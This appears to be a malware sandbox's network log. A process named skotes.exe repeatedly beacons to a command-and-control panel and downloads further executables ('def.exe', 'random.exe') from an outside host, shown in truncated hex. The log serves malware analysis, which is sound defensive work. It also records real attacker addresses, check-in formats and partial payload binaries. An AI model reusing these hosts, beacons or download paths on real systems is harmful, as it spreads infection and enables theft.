Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50123	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:21.774204969 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:22.670669079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50128	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:24.316018105 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:25.240077972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	50130	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:25.210697889 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:58:26.128631115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:25 GMT Content-Type: application/octet-stream Content-Length: 2712064 Last-Modified: Fri, 01 Nov 2024 09:00:50 GMT Connection: keep-alive ETag: "672498c2-296200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$) `@ **`Ui` @ @.rsrc`2@.idata 8@mvtnwoxp )):@zodzljtk )<)@.taggant@)"@)@
Nov 1, 2024 10:58:26.128663063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:58:26.128675938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:58:26.128685951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:58:26.128698111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:58:26.128710032 CET	1060	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:58:26.128721952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:58:26.128736019 CET	1236	IN	Data Raw: fc cd f5 f9 04 d5 fe f9 c2 0b 8b d0 cc de e6 c9 f6 df 95 af da f6 97 e4 d8 9c 89 d3 55 de 8b d2 d7 1d 8e ee 35 7d a3 9d f5 c9 8c ff 90 a0 82 d4 34 cb ee 97 f8 a0 30 8e fe fd f1 3e 9a 73 71 08 90 c1 92 fe 97 d3 8a e0 9c d4 f7 32 56 dc 3a 85 e0 c2 Data Ascii: U5}40>sq2V:=_Mj\CUhaaav`GmY~nF^KTcrn]<5pM%p^80
Nov 1, 2024 10:58:26.128794909 CET	1236	IN	Data Raw: cd 76 06 f8 7c ee ae cc a2 f2 f6 5c 6f 46 2b 8c 81 d3 56 d6 92 95 c9 c4 c5 f5 7c 8c 0a e3 8c c9 58 a9 84 c9 bc f6 ce c8 da 7f ac d0 40 e6 35 9d bc 96 af 8d c9 86 89 bd 59 c2 3c b5 82 c9 6c 72 de a6 af 5d 7c 8b 04 80 da c9 34 ca 4d 56 f3 f4 79 a9 Data Ascii: v\|\oF+V\|X@5Y<lr]\|4MVyjhI>m_A6.r$dsvO0XvqlGz4HCYFuurc%)m^BEnYkQ^av{Z}\%
Nov 1, 2024 10:58:26.128807068 CET	1236	IN	Data Raw: c1 94 e5 a8 8d a2 84 c5 58 ca 54 7d 8b bd 55 3e b8 c0 55 66 86 3c c1 a4 95 3f 6b cd 84 75 6d c2 82 8a 65 b1 38 a4 ac e4 8c a6 b2 25 d9 c7 71 f6 da 8d 6d a1 a0 68 8e 80 8e b8 bc ca 89 c1 4c d0 ad af 32 22 5e 48 ae 35 5c c7 b0 a9 b2 54 6e fa de 9e Data Ascii: XT}U>Uf<?kume8%qmhL2"^H5\TnP_:;?FpTZC?/nd#l'FOJAr$nQP!g5N5d0OV}Deaytm
Nov 1, 2024 10:58:26.134043932 CET	1236	IN	Data Raw: a6 d3 0b d1 f6 e4 8f 6f 34 ee 5e d5 df 3c e5 f8 c2 86 ec 66 de f7 88 c3 4c 50 8b ff ad 2a 23 c1 82 b0 ad cd e4 ab fc cc b5 db f2 3f d8 7c 9d 2e da cb 8c 59 09 72 8c d6 29 d0 1a 12 f4 4a 7d 5d 05 3c fd fa 6f a7 59 80 c9 e1 dd bb 59 56 15 07 74 f8 Data Ascii: o4^<fLP*#?\|.Yr)J}]<oYYVt:!~"}M]MXR#1}.A?\u#))u!SQW#_6mymk
Nov 1, 2024 10:58:27.529696941 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:58:27.809031010 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:27 GMT Content-Type: application/octet-stream Content-Length: 1852416 Last-Modified: Fri, 01 Nov 2024 09:52:29 GMT Connection: keep-alive ETag: "6724a4dd-1c4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@I4 @WkD<II @.rsrcD@.idata @ )@oibhsmco0`0&@rrchhzpyI@.taggant0I""@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50132	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:26.929863930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:27.852807999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50135	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:29.525038004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:30.439429045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50146	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:31.971252918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:33.224680901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 1, 2024 10:58:33.224894047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50150	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:34.976072073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:35.863843918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50175	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:37.754805088 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:38.674846888 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50180	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:40.375135899 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:41.294327021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50182	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:42.809807062 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50183	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:44.460930109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:45.360179901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50184	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:46.877829075 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:47.796678066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50185	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:49.437627077 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:50.346168995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50188	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:51.873624086 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:52.785548925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50193	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:54.423044920 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:55.322990894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50196	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:56.838984013 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:57.746937037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50199	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:59.469907999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
